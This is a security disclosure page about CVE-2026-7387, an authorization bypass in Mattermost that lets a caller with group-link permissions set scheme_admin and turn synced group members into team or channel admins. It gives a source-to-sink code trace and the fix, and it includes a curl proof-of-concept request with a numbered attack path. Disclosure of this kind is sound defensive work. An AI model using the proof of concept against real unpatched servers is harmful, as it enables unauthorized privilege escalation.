Skip to content
winfunc
Disclosure record · Mattermost

Group syncable scheme_admin authorization bypass (CVE-2026-7387)

Group-syncable link and patch endpoints accepted role-granting scheme_admin changes under weaker link permissions

MattermostCVE-2026-7387DisclosedSource record

CVSS 3.1 base score

High
8.8/ 10

Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Record

Project
Mattermost
Severity
High8.8
CVE
CVE-2026-7387
Disclosed
Trace
7 steps

Summary

Source

linkGroupSyncable()

server/channels/api4/group.go:354

Sink

UpdateMembersRole()

server/channels/store/sqlstore/team_store.go:1617

Mattermost group syncables let LDAP groups be linked to teams or channels and can optionally mark synchronized group members as scheme admins. Before the fix, linkGroupSyncable() and patchGroupSyncable() decoded scheme_admin as ordinary patch data, checked only the permissions needed to link or patch the group syncable, and then persisted the flag. The background sync path later trusted that stored bit and updated team or channel member role state.

The public advisory MMSA-2026-00665 / CVE-2026-7387 describes this as a High CWE-863 issue affecting Mattermost 11.6.x <= 11.6.1, 11.5.x <= 11.5.4, and 10.11.x <= 10.11.16, with fixed versions 11.7.0, 11.6.2, 11.5.5, 10.11.16, and 10.11.17. The original fix is PR #36316 / commit 8c72083414e675c97987374395e36d1f36b4bd8a; release-line backports include #36431, #36432, and #36434.

Severity

Attack vectorAV
Network
Attack complexityAC
Low
Privileges requiredPR
Low
User interactionUI
None
ScopeS
Unchanged
ConfidentialityC
High
IntegrityI
High
AvailabilityA
High

Metric values as published in the disclosure vector. Meters show how far each value raises exposure.

Source-to-sink trace

  1. Source · attacker-controlledserver/channels/api4/group.go:354

    linkGroupSyncable()

  2. Step 01server/channels/api4/group.go:354-358

    The link endpoint decodes the request body into GroupSyncablePatch. A caller can include scheme_admin in the same JSON body used for ordinary syncable settings such as auto_add.

    go
    var patch *model.GroupSyncablePatch
    err = json.Unmarshal(body, &patch)
    if err != nil {
        c.SetInvalidParamWithErr("group_syncable", err)
        return
    }
    
  3. Step 02server/public/model/group_syncable.go:167-169

    The model patch helper copied SchemeAdmin directly into the syncable object. It had no authorization context, so it could not distinguish harmless configuration changes from role-granting changes.

    go
    if patch.SchemeAdmin != nil {
        syncable.SchemeAdmin = *patch.SchemeAdmin
    }
    
  4. Step 03server/channels/api4/group.go:372-381 (before fix)

    Before PR #36316, the API persisted the patched object after the weaker link permission checks. The same missing role-management gate existed in the patch endpoint.

    go
    groupSyncable := &model.GroupSyncable{
        GroupId:    c.Params.GroupId,
        SyncableId: syncableID,
        Type:       syncableType,
    }
    groupSyncable.Patch(patch)
    groupSyncable, appErr = c.App.UpsertGroupSyncable(groupSyncable)
    
  5. Step 04server/channels/api4/group.go:387-389 (before fix)

    Persisting the syncable triggered asynchronous role and membership synchronization. A caller-controlled SchemeAdmin bit therefore flowed from the request body into background role changes.

    go
    c.App.Srv().Go(func() {
        c.App.SyncRolesAndMembership(c.AppContext, syncableID, syncableType, c.Params.GroupId)
    })
    
  6. Step 05server/channels/store/sqlstore/group_store.go:1832-1836

    The sync path asks the store for group members whose linked syncable has SchemeAdmin = TRUE. That turns the persisted client-controlled field into the list of users who should become admins.

    go
    builder := s.getQueryBuilder().Select("UserId").
        From(fmt.Sprintf("Group%ss", syncableType)).
        Join(fmt.Sprintf("GroupMembers ON GroupMembers.GroupId = Group%ss.GroupId AND Group%[1]ss.SchemeAdmin = TRUE AND GroupMembers.DeleteAt = 0", syncableType.String()))
    
  7. Step 06server/channels/store/sqlstore/team_store.go:1617-1625

    The selected user IDs are written into team membership state as scheme admins. The channel path uses the same pattern for channel members.

    go
    func (s SqlTeamStore) UpdateMembersRole(teamID string, userIDs []string) ([]*model.TeamMember, error) {
        query := s.getQueryBuilder().
            Update("TeamMembers").
            Set("SchemeAdmin", sq.Case().When(sq.Eq{"UserId": userIDs}, "true").Else("false"))
    }
    
  8. Step 07server/channels/api4/group.go:739-766 (fix, commit 8c72083)

    The fix gates any explicit SchemeAdmin value on the same role-management permissions used by direct role assignment, or on the sysconsole groups-management permission.

    go
    func verifySchemeAdminAssignmentPermission(c *Context, syncableType model.GroupSyncableType, syncableID string, patch *model.GroupSyncablePatch) *model.AppError {
        if patch == nil || patch.SchemeAdmin == nil {
            return nil
        }
    
        if c.App.SessionHasPermissionTo(*c.AppContext.Session(), model.PermissionSysconsoleWriteUserManagementGroups) {
            return nil
        }
    
        switch syncableType {
        case model.GroupSyncableTypeTeam:
            if !c.App.SessionHasPermissionToTeam(*c.AppContext.Session(), syncableID, model.PermissionManageTeamRoles) {
                return model.MakePermissionError(c.AppContext.Session(), []*model.Permission{model.PermissionManageTeamRoles})
            }
        case model.GroupSyncableTypeChannel:
            if ok, _ := c.App.SessionHasPermissionToChannel(c.AppContext, *c.AppContext.Session(), syncableID, model.PermissionManageChannelRoles); !ok {
                return model.MakePermissionError(c.AppContext.Session(), []*model.Permission{model.PermissionManageChannelRoles})
            }
        }
    
        return nil
    }
    
  9. Sinkserver/channels/store/sqlstore/team_store.go:1617

    UpdateMembersRole()

Impact

Reported impact

The vulnerability bypasses Mattermost's intended role-management authorization boundary. A caller who should only manage group-sync configuration can cause synchronized group members to become team or channel admins, potentially granting membership management, settings changes, and other administrative abilities in the affected scope.

Attack surface

Mattermost deployments with LDAP groups enabled/licensed where a caller can link or patch group syncables for a team or channel. The affected API surface includes group syncable link and patch routes for teams and channels.

Preconditions

The attacker must be authenticated, know or obtain a referenceable group ID and target team/channel ID, and have the weaker group-link or group-syncable management permissions for that target, but not the stronger role-management permission that direct admin-role assignment requires.

Attack path

  1. 1

    Authenticate as a user who can link or patch a group syncable for a team or channel.

  2. 2

    Send a link or patch request containing scheme_admin: true.

  3. 3

    Wait for SyncRolesAndMembership to run.

  4. 4

    Confirm that synchronized group members have team or channel admin role state.

Proof of concept

Reproduction5 stages
  1. 01

    Environment setup

    Use a vulnerable Mattermost build before PR #36316 with LDAP groups enabled/licensed. Prepare one referenceable LDAP group and an authenticated user who can reach the group-syncable link or patch endpoint for the target team or channel but lacks direct role-management permission.

  2. 02

    Target configuration

    Set MM_URL, SESSION, GROUP_ID, TEAM_ID, and USER_ID for the target instance. For a channel-scoped test, use the channel syncable endpoint and inspect the corresponding channel member record.

  3. 03

    Exploit delivery

    Create or update a group syncable while setting scheme_admin:

    bash
    curl -sS -X POST "$MM_URL/api/v4/groups/$GROUP_ID/teams/$TEAM_ID/link" \
      -H "Cookie: $SESSION" \
      -H 'Content-Type: application/json' \
      --data '{"auto_add":true,"scheme_admin":true}'
    
    sleep 3
    curl -sS "$MM_URL/api/v4/teams/$TEAM_ID/members/$USER_ID" \
      -H "Cookie: $SESSION" | jq '.scheme_admin, .roles'
    
  4. 04

    Expected response

    Vulnerable builds accept the request and, after synchronization, show scheme_admin: true or equivalent admin role state for synchronized members. Fixed builds reject explicit scheme_admin changes unless the caller has the required role-management permission.

  5. 05

    Outcome

    The attacker can convert group-sync configuration access into team or channel admin role assignment on vulnerable builds. PR #36316 restores the stronger authorization boundary.

Remediation

Guidance

Treat scheme_admin as role-granting state, not ordinary syncable metadata. Link and patch handlers must reject any explicit SchemeAdmin value unless the caller holds manage_team_roles, manage_channel_roles, or the sysconsole groups-management override. Preserve omitted SchemeAdmin values so ordinary auto_add edits continue to work without demoting existing direct admins.

Before and after−6+14
groupSyncable.Patch(patch)groupSyncable, appErr = c.App.UpsertGroupSyncable(groupSyncable) c.App.Srv().Go(func() {    c.App.SyncRolesAndMembership(c.AppContext, syncableID, syncableType, c.Params.GroupId)})appErr = verifySchemeAdminAssignmentPermission(c, syncableType, syncableID, patch)if appErr != nil {    appErr.Where = "Api4.patchGroupSyncable"    c.Err = appErr    return} groupSyncable.Patch(patch)groupSyncable, appErr = c.App.UpsertGroupSyncable(groupSyncable) syncRoles := patch.SchemeAdmin != nilc.App.Srv().Go(func() {    c.App.SyncRolesAndMembership(c.AppContext, syncableID, syncableType, c.Params.GroupId, syncRoles)})
View original source record

Check the upstream record for the project's current remediation status.

Your codebase

Investigate the paths that matter in your codebase.

Winfunc can trace relevant code paths, preserve supporting evidence, and prepare remediation suggestions for engineering review within an agreed scope.